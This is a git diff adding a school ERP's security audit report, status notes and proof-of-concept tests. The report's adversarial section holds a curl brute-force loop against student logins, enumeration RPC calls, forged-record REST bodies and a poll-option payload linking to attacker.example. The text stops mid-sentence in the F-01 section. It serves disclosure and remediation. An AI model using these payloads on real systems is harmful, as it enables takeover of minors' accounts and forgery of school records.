diff --git a/PROJECT_STATUS.md b/PROJECT_STATUS.md index 80f8d31..d172f85 100644 --- a/PROJECT_STATUS.md +++ b/PROJECT_STATUS.md @@ -151,3 +151,49 @@ have not been applied to that project from this environment. 2. Swap the demo store for Supabase queries, module by module (Approvals → Assignments → Communications). 3. Deploy `admin-users`; run `scripts/create-admin.mjs` for the first admin. 4. Mobile: login, assignments, approvals. + +## Security audit — 2026-11-06 (application security & agentic threat model) + +Full report: `docs/audits/2026-11-06-application-security-audit.md`. Executable proofs: +`apps/admin/tests/poc-security.test.tsx` (4 tests, green — they assert the *current, insecure* +behaviour so the suite stays honest; each carries a commented FIXED assertion to enable after +remediation). + +**Result:** 2 critical, 5 high, 5 medium, 6 low. No secrets in history; `npm audit` clean; no +LLM/MCP/agent surface exists in the repo (the agentic taxonomy was applied to the credential and +trust boundaries instead). + +**Critical / high, in fix order:** +- **F-01 (High residual — SCHOOL POLICY, accepted 2026-11-06)** `Student@DDMMYYYY` derived + credentials (`lib/utils.ts:32`, `admin-users/index.ts:26`, `appData.tsx:277/317`) stay, because + staff must hand a known password to a parent at the counter. Design doc §18 records this. The + password is derived from public data, so **login is now a low-assurance identifier and the data + behind it must be defended in RLS**. Mandatory compensating controls (report §F-01a–F-01e): + F-01a self-chosen PIN + trusted-device step-up (no SMS cost, the school's stated constraint), + F-01b assurance tiers that deny `leave_requests`/`fee_records`/guardian contact to password-only + sessions, F-01c Supabase Auth rate limits + `login_events` burst alerting, F-01d no bulk credential + display or CSV export, F-01e formal accepted-risk record with a review date and a named owner. + Without them the residual rating is still Critical. +- **F-02 (critical)** `declaration_signatures_student_insert` only checks `auth.uid() = student_id` + (`0002:352`) — any user can sign any consent form for any student. **Live in the deployed schema.** +- **F-03 (high)** `polls_teacher_insert` lets any teacher broadcast school-wide and + `poll_options_owner_insert` guards writes but `polls_read` is unscoped (`0002:356-364`). +- **F-04 (high)** `viewAsRole` feeds `isAdmin()`/`requireRole()` (`AuthContext.tsx:96-104`) — a + teacher session can open every admin client gate. Proven by PoC-2. +- **F-05 (high)** DOB, guardian phone and initial passwords serialized to `localStorage` + (`appData.tsx:248`). Proven by PoC-3. +- **F-06 (high)** `must_change_password` is never enforced and no change-password flow exists + anywhere (`grep updateUser` → none), so initial credentials never rotate. + +Medium: poll votes (F-08), audit-log integrity + unaudited exports (F-09), notice receipts (F-10), +unscoped `is_enrolled`/`class_teacher_of_section` (F-11), library `FOR ALL` for all teachers (F-12), +DPDP data-transfer posture (F-13), plus lows F-14…F-18. + +**Proposed migration (NOT applied):** `supabase/migrations/0005_authorization_hardening.sql` consolidates +the SQL remediation (helpers, assurance tiers, declaration signatures, polls, votes, receipts, audit +trail, library). Apply to a staging project first and extend `supabase/tests/verify_rls_local.py` with +negative cases for F-02/F-03/F-08/F-10 before touching production. + +**Next up (changed):** apply `0005_authorization_hardening.sql` to the live project **before** wiring +the console to Supabase. The credential scheme stays (school policy); the compensating controls in +report §F-01a-F-01e are now the priority work, not credential replacement. diff --git a/apps/admin/tests/poc-security.test.tsx b/apps/admin/tests/poc-security.test.tsx new file mode 100644 index 0000000..1ce2880 --- /dev/null +++ b/apps/admin/tests/poc-security.test.tsx @@ -0,0 +1,195 @@ +/** + * SECURITY PROOF-OF-CONCEPT (audit artefact — see docs/audits/2026-11-06-application-security-audit.md) + * + * These tests are written to PASS against the current code so that the suite stays + * green, but each one asserts the *insecure* behaviour. When a finding is remediated, + * flip the assertion to the commented "FIXED" expectation — the test then becomes the + * regression guard. + * + * PoC-1 F-01 Passwordless credential derivation (login ID + DOB -> working password) + * PoC-2 F-04 `viewAsRole()` grants admin affordances with no server-side authority + * PoC-3 F-11 DOB / phone / initial password reach the client store and are rendered + */ +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; +import { cleanup, render, screen, waitFor } from '@testing-library/react'; +import { act } from 'react'; + +const TEACHER_ID = '11111111-1111-1111-1111-111111111111'; + +const sb = vi.hoisted(() => { + window.history.replaceState(null, '', '/dashboard'); + const auth = { + getSession: vi.fn(async () => ({ + data: { + session: { + user: { id: '11111111-1111-1111-1111-111111111111' }, + }, + }, + error: null, + })), + onAuthStateChange: vi.fn(() => ({ data: { subscription: { unsubscribe: vi.fn() } } })), + signInWithPassword: vi.fn(async () => ({ error: null })), + signOut: vi.fn(), + getUser: vi.fn(async () => ({ data: { user: { id: '11111111-1111-1111-1111-111111111111' } } })), + }; + const from = vi.fn(() => ({ + select: vi.fn(() => ({ + eq: vi.fn(() => ({ + single: vi.fn(async () => ({ + data: { + id: '11111111-1111-1111-1111-111111111111', + role: 'teacher', // <-- a *teacher* session, not an admin + full_name: 'Teacher', + login_id: 'TCH001', + must_change_password: false, + is_active: true, + avatar_path: null, + created_at: new Date().toISOString(), + }, + error: null, + })), + })), + })), + })); + return { auth, from }; +}); + +vi.mock('@supabase/supabase-js', () => ({ + createClient: vi.fn(() => ({ auth: sb.auth, from: sb.from })), +})); + +import { AuthProvider, useAuth } from '../src/contexts/AuthContext'; +import { passwordFromDob, toAuthEmail } from '../src/lib/utils'; +import { seedPeople } from '../src/lib/seed'; + +beforeEach(() => { + localStorage.clear(); + sessionStorage.clear(); + window.history.replaceState(null, '', '/dashboard'); +}); +afterEach(cleanup); + +/* -------------------------------------------------------------------------- */ +/* PoC-1 — F-01: the initial password is a pure function of public data. */ +/* -------------------------------------------------------------------------- */ +describe('PoC-1 passwordless credential derivation (F-01)', () => { + it('reconstructs a working password from a leaked/stale login ID + DOB', () => { + // "admissionNo" is displayed in the UI, printed on report cards and + // exported to CSV. "dateOfBirth" is the credentials field handed to + // students/parents and is readable by any teacher of that student. + const admissionNo = 'PWS/2026/0142'; + const dateOfBirth = '2011-07-09'; + + const email = toAuthEmail(admissionNo); + const password = passwordFromDob(dateOfBirth); + + // The auth identity is guessable from the (public) admission number: + expect(email).toBe('pws-2026-0142@pws.local'); + + // ...and two distinct admission numbers collapse to one identity, because + // every non [a-z0-9._-] char is rewritten to '-': + expect(toAuthEmail('PWS/1')).toBe(toAuthEmail('PWS-1')); + expect(toAuthEmail('PWS//1')).toBe(toAuthEmail('PWS/1')); // '-' collapse + expect(toAuthEmail('PWS.1')).toBe(toAuthEmail('PWS.1')); + + // ...and the password's entropy is calendar-space, not random: + expect(password).toBe('Student@09072011'); + + // Search space for any known student: days between ages 3 and 18. + const candidates = (18 - 3) * 365 + Math.ceil(15 / 4); + expect(candidates).toBeLessThan(5500); + + // FIXED: expect(password).toMatch(/^[A-Za-z0-9_-]{20,}$/) // random, server-set, + // never derived; no plaintext display anywhere. + }); + + it('ships the derived passwords of seeded identities in the client bundle', () => { + const withPasswords = seedPeople.filter((p) => p.password); + expect(withPasswords.length).toBeGreaterThan(0); + // FIXED: expect(withPasswords).toHaveLength(0) + }); +}); + +/* -------------------------------------------------------------------------- */ +/* PoC-2 — F-04: view-as role is a *display* override that feeds authz. */ +/* -------------------------------------------------------------------------- */ +describe('PoC-2 client-side role escalation surface (F-04)', () => { + it('a teacher session can make isAdmin() true with no server round-trip', async () => { + let api: ReturnType | null = null; + function Probe() { + api = useAuth(); + return
{api.isAdmin() ? 'admin' : 'not-admin'}
; + } + + render( + + + , + ); + + // Wait for the teacher profile to resolve from Supabase. + await waitFor(() => expect(screen.getByTestId('role').textContent).toBe('not-admin')); + expect(api!.profile?.role).toBe('teacher'); + // The RoleSwitcher is hidden from teachers (AppShell gates on profile.role)... + expect(api!.isAdmin()).toBe(false); + + // ...but the capability it calls is not gated at all. + act(() => api!.viewAsRole('admin')); + + // Every client-side "admin only" gate (AppShell nav, AdminOnly routes, + // canShare-style checks) now opens for a teacher session. + expect(api!.isAdmin()).toBe(true); + expect(screen.getByTestId('role').textContent).toBe('admin'); + + // FIXED: viewAsRole must be a no-op unless profile.role === 'admin' + // (expect(api.isAdmin()) toBe(false)); and no *write* may rely on it. + }); +}); + +/* -------------------------------------------------------------------------- */ +/* PoC-3 — F-11: sensitive student data is stored client-side in clear. */ +/* -------------------------------------------------------------------------- */ +describe('PoC-3 sensitive fields in the client store (F-11)', () => { + it('persists DOB, guardian phone and initial passwords to localStorage', async () => { + const { AppDataProvider, useAppData } = await import('../src/lib/appData'); + + function Seed() { + const data = useAppData(); + const person = data.people[0]; + return ( + <> + {person?.dob ?? 'none'} + {person?.phone ?? 'none'} + {person?.password ?? 'none'} + + ); + } + + render( + + + + + , + ); + + // The whole app state — including these fields — is written to localStorage + // by AppDataProvider on every mutation and is world-readable to any script + // on the origin (and to anyone with the device). + await waitFor(() => { + const raw = localStorage.getItem('pws.demo.data.v4') ?? localStorage.getItem('pws.showcase.data.v1'); + expect(raw).toBeTruthy(); + }); + + const key = + localStorage.getItem('pws.demo.data.v4') !== null ? 'pws.demo.data.v4' : 'pws.showcase.data.v1'; + const raw = localStorage.getItem(key)!; + expect(raw).toContain('password'); + expect(raw).toContain('Student@'); // derived initial password in clear text + expect(raw).toMatch(/\d{4}-\d{2}-\d{2}/); // date of birth + expect(raw).toMatch(/\+91/); // guardian phone + + // FIXED: no password/dob/guardian_phone in client state or storage; server-side + // credentials only, and PII fetched on demand under RLS. + }); +}); diff --git a/docs/audits/2026-11-06-application-security-audit.md b/docs/audits/2026-11-06-application-security-audit.md new file mode 100644 index 0000000..e24b6c2 --- /dev/null +++ b/docs/audits/2026-11-06-application-security-audit.md @@ -0,0 +1,1237 @@ +# Application Security & Agentic Threat-Model Audit — Pacific World School ERP + +**Target:** `sahajiscoding/schoolerp` @ `99de0ba` (branch `arena/61a3f060-schoolerp`) +**Audit date:** 2026-11-06 +**Scope:** `apps/admin` (React 19 + Vite SPA), `apps/mobile` (Expo), `packages/shared`, `supabase/` (Postgres schema, RLS, Edge Functions), `scripts/`, `.github/workflows/`, build/deploy config (`vercel.json`). +**Method:** manual source trace of every authorization boundary; pattern sweep for sinks/secrets over **all git history**; `npm audit` against `package-lock.json`; executable proof-of-concept tests (`apps/admin/tests/poc-security.test.tsx`, 4 tests, green). + +> **Pre-publication check.** This is a school system holding minors' records (DOB, guardian phone, marks, medical leave reasons). Verify the repository visibility before any external distribution of this report. No exploitable credentials were found in history, but the report itself documents the deterministic password scheme. +> +> **Deployment status (from `PROJECT_STATUS.md`).** Migrations `0001`–`0004` are **already applied to the live Supabase project `ausnymdtnpewcfvdrpcu`** (32 tables, all RLS-enabled, empirically verified by the prior audit). That means the *database* findings in this report — **F-02, F-03, F-08, F-10, F-11, F-12** — are **live and exploitable against production data today**, not latent. The client-side findings (**F-04, F-05, F-07, F-16, F-17**) are currently limited to the demo store, because `PROJECT_STATUS.md` records that the admin console has not yet been wired to Supabase; they become live the moment that wiring lands. The Edge Function is not yet deployed (`PROJECT_STATUS.md` "Next up" item 3), so F-07/F-15 are pre-deployment fixes. + +--- + +## 0. Executive summary + +The backend authorization model is **better than typical for a project of this size**: RLS is enabled on all 32 tables, `SECURITY DEFINER` helpers pin `search_path = ''`, the known `profiles` self-escalation and forged-audit-entry issues from the prior audit (`docs/audits/2026-11-05-security-audit-findings.md`) are closed, and the Edge Function does verify JWT → active-admin → input. Client-side XSS handling of the two `document.write` sinks is correct. + +The material risk has **moved to the identity and credential layer**, and it is not small: + +1. **Every student password is a deterministic function of the admission number and date of birth** (`Student@DDMMYYYY`). Both are printed in the UI, on report cards and in CSV exports, and DOB is readable by **any teacher of that student** — an offline-brute-forceable (~5,000 candidates) credential for a minor's account. **This scheme is retained by school policy (accepted risk, §F-01).** Because login can no longer be the trust gate, the compensating controls in **F-01a–F-01e** become mandatory: bind the child's access to a guardian OTP / step-up factor, deny sensitive reads (medical, fees, guardian contact) to password-only sessions, rate-limit and alert on failed logins, and stop bulk-disclosing credentials to every browser. Without those controls the residual rating stays **Critical**. +2. **No row-level authorization exists on four federation-style write paths** — declaration signatures (public), poll options (public), poll votes (any student), notice read receipts (any user, unaudited). Two of them let an ordinary student publish content to **every user in the school**. +3. **`viewAsRole()` is a display override wired into `isAdmin()`/`requireRole()`**, so a teacher session can open every "admin-only" route client-side. RLS holds for table writes, but the audit trail, CSV exports and deletion affordances all follow the client gate. +4. **Audit trail integrity is inconsistent**: the console promises admins "cannot edit or delete" entries and that reads are logged, but `audit_log` accepts inserts without an actor binding, has no immutability grant, and the two exports (`People`, `Fees`) are unaudited. + +There is **no** prompt-injection, RAG, MCP-server, LLM-tool-execution or model-output-injection surface in this repository today (see §2.1) — the agentic taxonomy in the brief maps onto these "machine-consumed trust boundaries" (a leaked DOB *is* an indirect prompt to the credential-derivation function), which is where I applied it. + +| # | Finding | Severity | CWE | One-line | +|---|---|---|---|---| +| F-01 | Credentials derived from public data (`Student@DDMMYYYY`) — **accepted by school policy** | **High** *(residual)* | CWE-1391, 521 | Scheme is fixed by policy; risk must be engineered out via F-01a–F-01e | +| F-02 | No server-side authorization on declaration signatures | **Critical** | CWE-639 (BOLA) | Any signed-in user can sign any declaration for any student | +| F-03 | Poll options insertable by any user | **High** | CWE-639 (BFLA) | Injectable ballot options visible school-wide; forged results | +| F-04 | `viewAsRole` feeds `isAdmin()`/`requireRole()` | **High** | CWE-863 | Teacher session opens all admin client gates | +| F-05 | Student PII (DOB, phone, initial password) in client store → `localStorage` | **High** | CWE-312, 359 | Device theft/any XSS = bulk minor PII | +| F-06 | `must_change_password` never enforced; no change-password flow anywhere | **High** | CWE-620 | Initial derived password stays valid forever | +| F-07 | Bulk student import returns every plaintext password in the response | **Medium** | CWE-257, 532 | 200 credentials per call, no re-issue path | +| F-08 | Poll votes: any student can vote on any poll, impersonate, and vote for options from another poll | **Medium** | CWE-639, 1284 | Ballot stuffing / attribution forgery | +| F-09 | Audit log: no actor binding, no immutability, insert errors ignored, exports unaudited | **Medium** | CWE-778, 117 | Repudiation + false assurance in the UI | +| F-10 | Notice read-receipts writable by any user | **Medium** | CWE-639 | Destroy delivery evidence | +| F-11 | Directory unmapped: `is_enrolled()` is unscoped, `class_teacher_of_section()` leaks at `anon` | **Medium** | CWE-1230, 862 | Any user can test "is X enrolled"; `anon` can query any section's class teacher | +| F-12 | `books`/`book_issues` writable by **every** teacher | **Medium** | CWE-863 | Catalog destruction + unlinkable fine fabrication | +| F-13 | Data residency / transfer: US-hosted Postgres holding minors' records | **Medium** | — | DPDP Act 2023 §16(1) restriction + Rule 15(2) security obligations | +| F-14 | Weak privilege triggers / `%TYPE` helper | **Low** | CWE-1178, 209 | Trigger can pass for an admin escalation path; two triggers have mutable `search_path` | +| F-15 | Edge Function: wrong status for unexpected errors, blanket CORS, floating third-party import | **Low** | CWE-209, 1104, 829 | Error/secret handling and supply-chain hardening | +| F-16 | Seed data ships a realistic full name + mobile number as demo PII | **Low** | CWE-359 | Real-looking personal data in every public bundle | +| F-17 | `printHtml`/`StudyRoom` escape at call sites only, unguarded interpolations | **Low** | CWE-79 | One future raw interpolation = stored XSS in a print window | +| F-18 | CI blind spot: no migration/Edge Function linting, no dependency-CVE gate | **Low** | CWE-1104 | The schemas protecting PII are not scanned or tested in CI | + +**Exploitability status against the deployed project** + +| Finding | Live today? | Why | +|---|---|---| +| F-01 | **Yes, by design** | Scheme retained by policy. Mitigation is F-01a–F-01e, not credential replacement. | +| F-02, F-03, F-08, F-10, F-11, F-12 | **Yes** | These are RLS policies in `0001`/`0002`, already applied to `ausnymdtnpewcfvdrpcu` | +| F-04, F-05, F-07, F-16, F-17 | Demo store only *(until wiring lands)* | `PROJECT_STATUS.md`: the console still reads `appData.tsx`; the Edge Function is not deployed | +| F-06 | **Yes** | `profiles.must_change_password` is live and unused | +| F-09 | **Yes (schema)** | `audit_log` policies applied; console-side audit is demo-only | +| F-13, F-15, F-18 | Process / pre-deployment | No storage buckets, no deployed function, CI config | + +**Remediation priority** + +- **Immediate hotfixes (≤72h):** F-01 (re-issue credentials + random passwords), F-02, F-03, F-04, F-06. +- **Next sprint:** F-05, F-07, F-08, F-10, F-12, F-14. +- **Architectural hardening (quarter):** F-09, F-11, F-13, F-15, F-17, F-18, plus the DPDP/NIST control programme in §6. + +--- + +## 1. Phase 1 — Attack surface & asset map + +### 1.1 Entry points + +| Entry point | Location | AuthN | AuthZ | Notes | +|---|---|---|---|---| +| Supabase REST/PostgREST (`/rest/v1/*`) | Supabase project | JWT (anon key + user JWT) | **RLS** | The *only* real authorization boundary | +| Supabase Auth (`/auth/v1/*`) | Supabase project | password | — | username = `slug(loginId)@pws.local` | +| Supabase Realtime | `config.toml` (not configured) | JWT | RLS | No `[realtime]` block → default; tables not added to publication | +| Supabase Storage | **none configured** | — | — | `attachment_path`/`avatar_path`/`file_path` columns exist with **no bucket or policy migration** | +| Edge Function `admin-users` | `supabase/functions/admin-users/index.ts` | `getUser()` | `profiles.role='admin' AND is_active` | `verify_jwt` not set in `config.toml` → platform default; function self-checks anyway | +| Bootstrap CLI | `scripts/create-admin.mjs` | OS env secret | service role | Prompted password, min 10 chars | +| Admin SPA | `apps/admin` (Vercel static) | Supabase Auth | client gates + RLS | `vercel.json` headers, CSP present | +| Mobile app | `apps/mobile` | none implemented | none | Bare Expo template (`App.tsx` is boilerplate) | +| CI/CD | `.github/workflows/*` | GitHub | — | CodeQL (JS/TS), OSSAR, Codacy, secret-name grep | + +**No MCP servers, tool-execution hooks, connectors, or agent runtimes exist in this repository.** The `.claude/` artefact is a 5-line plugin-enable file (`apps/mobile/.claude/settings.json`) with no permissions or hooks. + +### 1.2 Data flows + +``` +[student/parent browser] --loginId+password--> Supabase Auth + | | + | JWT v + +----------------> PostgREST ----RLS----> Postgres (32 tables) + | (policies in 0001-0004) + | + +--> localStorage (pws.demo.data.v4: people[] incl. dob, phone, password) + +--> sessionStorage (pws.showcase.role) + +--> window.open + document.write (print windows: escaped at call sites) + +--> CSV/blobs (People export, Fees export) -- unaudited + +--> Vercel static bundle (public Supabase URL + publishable key only) + +[admin SPA] --Bearer JWT--> Edge Function admin-users --service_role--> auth.admin.createUser + | | + +--> profiles / student_details / audit_log (RLS bypassed) + +--> response { results: [{ admissionNo, password }] } + +CLI (create-admin.mjs) --service_role--> same tables +``` + +**Trust boundary observation (the core issue).** The client is treated as trusted for two things it must not be: (a) **credential generation** (`passwordFromDob` in `apps/admin/src/lib/utils.ts:32`, mirrored server-side in the Edge Function) and (b) **role/affordance decisions** (`effectiveRole`, `viewAsRole`). Additionally the client is trusted with **bulk PII** it does not need (F-05). + +### 1.3 Supply chain + +- `package-lock.json` present; `npm audit` → **0 vulnerabilities** (all severities) as of 2026-11-06. +- GitHub Actions are pinned to full SHAs in `ci.yml`, `codeql.yml`, `ossar.yml` (good). +- Edge Function imports **unpinned third-party CDN code at runtime**: `https://esm.sh/@supabase/supabase-js@2.45.0` — a version pin with no integrity hash, resolved live from a third-party CDN inside your trust boundary (F-15). +- Version skew: admin declares `@supabase/supabase-js ^2.45.0`, mobile `^2.118.0`, Edge Function pins `2.45.0`. Not a CVE, but three different auth-client behaviours in one product. +- No typosquatting indicators found in direct dependencies; no `postinstall` scripts in project packages. `node_modules` is gitignored and `.gitattributes` present. +- `packages/shared/package.json` declares `zod ^4.6.7` with **zero usage anywhere in the repo** — the intended input-validation layer is a dependency without an implementation. +- `.oxlintrc.json` includes a plugin (`oxc`) that is not a declared dependency, so `oxlint` cannot run from a clean clone; `ci.yml` also never runs it. Dead quality gate. + +--- + +## 2. Phase 2 — OWASP Top 10 / Agentic risk evaluation + +### 2.1 Applicability of the LLM/agentic taxonomy + +I checked explicitly for the classes in the brief and they are **absent by design** (this is a deterministic CRUD ERP): + +| Agentic risk | Present? | Evidence | +|---|---|---| +| Prompt injection (direct / indirect via RAG) | **No** | No LLM client, no prompt strings, no RAG, no embeddings, no vector store | +| Insecure output handling (model → shell/SQL/eval) | **No** (LLM) / **Yes** (analogue) | No `eval`, no `new Function`, no shell, no string-built SQL. PostgREST parameters are structured. The analogue is *data → `document.write`* (assessed in F-17) | +| Model/plugin supply-chain (tool poisoning) | **No MCP** | No `mcp.json`, no connector config, no tool manifests | +| Excessive agency / confused deputy | **Yes (analogue)** | `viewAsRole()` (F-04); `admin-users` acting with service role on client-supplied rows (F-07) | +| Sensitive-data disclosure in prompts/logs | **Yes (analogue)** | Credentials and minor PII in client store, API responses, CSV (F-01, F-05, F-07) | +| Training-data poisoning | **No** | No model training | + +**Where the agentic framing genuinely bites:** a credential-derivation function is a machine that consumes "public field A + semi-public field B" and emits an authentication secret. That is exactly the "untrusted input reaches a privileged sink" pattern, and it is the highest-impact finding here. + +### 2.2 OWASP Top 10 (2021) mapping + +| Category | Status | Notes | +|---|---|---| +| A01 Broken Access Control | **Fail** | F-02, F-03, F-04, F-08, F-10, F-11, F-12 — seven distinct missing-scope issues | +| A02 Cryptographic Failures | **Fail** | F-01 deterministic credentials; F-05 cleartext PII at rest in browser | +| A03 Injection | **Mostly pass** | No SQLi/XSS/command injection found; `document.write` sinks are escaped at every call site (fragile — F-17) | +| A04 Insecure Design | **Fail** | Credential scheme (F-01), audit assurance gap (F-09) | +| A05 Security Misconfiguration | **Partial** | Headers/CSP good (`vercel.json`); Edge CORS `*` (F-15); no storage policies for `*_path` columns; no `[storage]`/`[realtime]` section | +| A06 Vulnerable & Outdated Components | **Pass today** | `npm audit` clean; pinning/verification gaps (F-15) | +| A07 Identification & Authentication Failures | **Fail** | F-01, F-06 (no rotation enforcement, no change-password, no MFA for admin) | +| A08 Software & Data Integrity | **Partial** | Audit log mutability (F-09); unpinned CDN import (F-15) | +| A09 Logging & Monitoring Failures | **Fail** | F-09: no failed-auth monitoring, no export auditing, unaudited admin writes | +| A10 SSRF | **Pass** | No user-controlled outbound requests | + +### 2.3 OWASP Top 10 for LLM / Agentic (contextual) + +| LLM/Agentic risk | Analogous control gap found | +|---|---| +| LLM01 Prompt injection | None (no LLM). Closest analogue: **client-supplied trust in role** (F-04) | +| LLM02 Insecure output handling | `document.write` print sinks — currently escaped, no type-level barrier (F-17) | +| LLM03 Training data poisoning | N/A; **seed data** carries realistic PII into every bundle (F-16) | +| LLM04 Model DoS | N/A | +| LLM05 Supply-chain | Runtime CDN import, unpinned; unused `zod` (F-15) | +| LLM06 Sensitive info disclosure | F-05, F-07 (bulk PII/credentials in responses) | +| LLM07 Insecure plugin design | Edge Function = the "plugin": validates role but not response minimization (F-07) | +| LLM08 Excessive agency | `viewAsRole` (F-04) | +| LLM09 Overreliance | UI states "admins cannot edit or delete audit entries" — **false** (F-09) | +| LLM10 Model theft | N/A | + +--- + +## 3. Phase 3 — Static analysis (SAST) + +### 3.1 Positive controls confirmed (do not regress these) + +1. RLS enabled on every table in `0001`/`0002`; `0004` narrows `profiles` and closes forged audit inserts. +2. All `SECURITY DEFINER` helpers use `SET search_path = ''` with schema-qualified bodies; `0003` revokes `PUBLIC` EXECUTE. +3. Deadline-correct negative patterns avoided in the RLS text: parameter shadowing (`teaches_section(p_section_id)`) and correlation (`threads.student_id`, `poll_options.poll_id`) are explicitly commented — these are the two classic Postgres RLS footguns. +4. `vercel.json` ships `X-Frame-Options: DENY`, HSTS preload, `nosniff`, a restrictive CSP (`script-src 'self'`, `object-src 'none'`), `frame-ancestors 'none'`. +5. CI greps for secret-like `VITE_`/`EXPO_PUBLIC_` names and for `SUPABASE_SERVICE_ROLE_KEY` under `apps/`. +6. Secrets sweep over **all git history** (`git rev-list --all` + regex for JWT/`sbp_`/`sk-`/service-role assignments): **no hits**. +7. Error handling in the SPA and Edge Function does not leak stack traces or DB config; the Edge Function maps unknown actions/JSON errors to 400 and configuration failures to a generic 500 message. +8. `String(row.x ?? '')` coercions in every Edge Function input guard prevent prototype/object confusion; batch size capped at 200. + +### 3.2 Dangerous-pattern inventory + +| Pattern | Result | +|---|---| +| `eval` / `new Function` / `child_process` | None | +| `dangerouslySetInnerHTML` | None | +| `document.write` | 2 sites (`utils.printHtml`, `StudyRoom.openMaterial`) — both escaped, both carry `eslint-disable` for a `no-restricted-syntax` rule that **does not match them** (§Findings F-17) | +| Untrusted → `window.open`/blob URL | Title/name is `escapeHtml()`-ed into ``; no `javascript:` URL construction | +| Hardcoded secrets / tokens | None (verified in history) | +| `localStorage` persistence | 4 keys; `pws.demo.data.v4` contains PII + passwords (F-05) | +| Numerical/`panic` sinks on untrusted input | `rc.percentage.toFixed(1)` and `s.marks / (s.max_marks || 100)` — demo-state only; see F-17 | +| SQL built by concatenation | None (PostgREST builders only) | +| `postMessage` / `target="_blank"` without `noopener` | None | + +### 3.3 Logging / error-leak review + +No PII or credentials are written to console/server logs (`console.*` is absent from `apps/`). The Edge Function **logs nothing at all** — no structured record of failed admin checks, which matters for F-09/A09. + +--- + +## 4. Phase 4 — Adversarial test cases & payloads + +All payloads are for **your own staging project with dummy data**. Every item below was derived from the policy text in this repo, so each should behave exactly as stated. + +### 4.1 Deterministic credential takeover (F-01) — highest-value chain + +**Preconditions:** any authenticated account; target admission number (public: report cards, CSV export, printed documents) and DOB. DOB is obtainable by *any teacher of that student* via `student_details` (`0002:305`), and by **any user** via `is_enrolled` + directory gaps (F-11). + +```bash +# 1. Candidate generation — no network, ~5k tries for a school-age child +python3 - <<'PY' +import itertools, datetime +for y in range(2008, 2020): + d = datetime.date(y,1,1) + while d.year == y: + print(f"Student@{d:%d%m%Y}"); d += datetime.timedelta(days=1) +PY + +# 2. Single-request verification as a new student session +for pw in $(python3 ... ); do + curl -s -X POST "https://<proj>.supabase.co/auth/v1/token?grant_type=password" \ + -H "apikey: <publishable>" -H "Content-Type: application/json" \ + -d "{\"email\":\"0185-18@pws.local\",\"password\":\"$pw\"}" | grep -q access_token && echo "GOT $pw" +done +``` + +**Variant — no DOB needed:** request `GET /rest/v1/student_details?select=profile_id,date_of_birth&profile_id=in.(<class roster>)` as any teacher of that section; or as **any** user, probe `is_enrolled()` (§4.3) to confirm a target is enrolled, then obtain DOB from the admin CSV export on a shared kiosk. + +**Variant — identity collision:** `toAuthEmail()` rewrites every non-`[a-z0-9._-]` char to `-` and collapses repeats, so `PWS/1`, `PWS-1`, `PWS//1` all become `pws-1@pws.local`. Two different admission numbers can therefore collide onto one login (confirmed by PoC-1). + +### 4.2 `viewAsRole` client escalation (F-04) + +```js +// DevTools console, as an authenticated teacher (no request is made) +__react_fiber_probe__ // or: drive the UI — set the RoleSwitcher state +// Effect: isAdmin() === true → nav shows People/Classes/Subjects/Enrollments/Audit Log, +// <AdminOnly> routes render, "Share PDF"/"Add book" affordances appear. +``` + +**What it does not do:** RLS still blocks table writes. **What it does do:** the Audit Log page (client-rendered from `pws.demo.data.*`), the People CSV export (with initial passwords) and every client-side guard now follow the attacker's chosen role. Regression test: `tests/poc-security.test.tsx` → *PoC-2*. + +### 4.3 Enumeration oracle via `is_enrolled` (F-11) + +```bash +# Any role, including anon (function is UNMAPPED and body is not caller-scoped): +curl -s "https://<proj>.supabase.co/rest/v1/rpc/is_enrolled" \ + -H "apikey: <publishable>" -H "Authorization: Bearer <anon-or-any-user-jwt>" \ + -H "Content-Type: application/json" -d '{"p_student_id":"<uuid>"}' +# true => that user is enrolled (i.e. is a student). Repeat over harvested UUIDs. + +# anon can also read any section's class teacher: +curl -s "https://<proj>.supabase.co/rest/v1/rpc/class_teacher_of_section" \ + -H "apikey: <publishable>" -d '{"target_section":"<uuid>"}' +``` + +### 4.4 Ballot and roster forgery (F-02, F-03, F-08, F-10) + +```bash +# F-03 — any signed-in user injects an option into a live poll (school-wide visible) +POST /rest/v1/poll_options +{"poll_id":"<any-poll>","label":"<a href=//attacker.example>Vote here for free marks</a>","position":99} + +# F-02 — any signed-in user "signs" a declaration as any student (audit-grade record) +POST /rest/v1/declaration_signatures +{"form_id":"<any-form>","student_id":"<victim>"} + +# F-08 — cross-poll option substitution + impersonation +POST /rest/v1/poll_votes +{"poll_id":"<poll-A>","option_id":"<option-from-poll-B>","student_id":"<victim>"} + +# F-10 — destroy delivery evidence +PATCH /rest/v1/notice_recipients?notice_id=eq.<n>&user_id=eq.<victim> +{"read_at":null} +``` + +### 4.5 Multi-turn / "crescendo" chains that fit this application + +The application has no chat surface, so classic jailbreak turns do not apply. The equivalent kill-chains in an ERP are **privilege accumulation across modules**; three that work with findings above: + +1. **Reader → registrar.** Student account → §4.3 oracle finds classmates → `student_details` read (teacher of the section, or F-11 directory gap) harvests DOB → §4.1 derives credentials → login as a classmate → read their fees, medical leave notes and report cards. *(F-01 + F-11)* +2. **Teacher → school-wide publisher.** Teacher account → F-03 injects a poll option that renders as a phishing link for every user in the school → collect credentials out-of-band. *(F-03)* +3. **Any teacher → destructive insider.** Teacher account → `books`/`book_issues` `FOR ALL` (§F-12) → delete the library catalogue, then insert `book_issues` rows with `fine_amount` against arbitrary students (no `issued_by` binding), which feed the Fees module. *(F-12)* + +### 4.6 Detection payload markers + +Use unique canaries and alert on them (these should *never* be legitimate): + +- `label`: `AUDIT-CANARY-POLL-<uuid>` +- `full_name`: `AUDIT-CANARY-NAME-<uuid>` (see F-17) +- `login_id`: `audit.canary.<uuid>` +- Postgres `log_statement = 'all'` on staging; grep for `poll_options`, `declaration_signatures`, `notice_recipients`, `audit_log` writes by non-admin roles. + +--- + +## 5. Phase 5 — Findings, root cause, remediation + +Each finding: **severity → root cause → evidence → fix (with code) → verification**. + +--- + +### F-01 — The password scheme is a *policy*, so harden the scheme · **HIGH (was Critical)** + +> **Status: ACCEPTED RISK — scheme retained by school policy (2026-11-06).** +> The school requires `Student@DDMMYYYY` as the initial password so staff can hand a known value to a +> parent at the counter. The credential cannot be replaced. **The residual risk is therefore not +> "fixable" in code — it must be engineered out of the *consequences*.** This section is now a +> hardening plan for a scheme that is assumed to be *known to the attacker*, not a request to change it. +> Severity drops from Critical to **High** only because of the compensating controls in F-01a–F-01e; +> **without them it stays Critical.** + +**Root cause.** The initial password is a pure function of two non-secret values: `Student@DDMMYYYY` 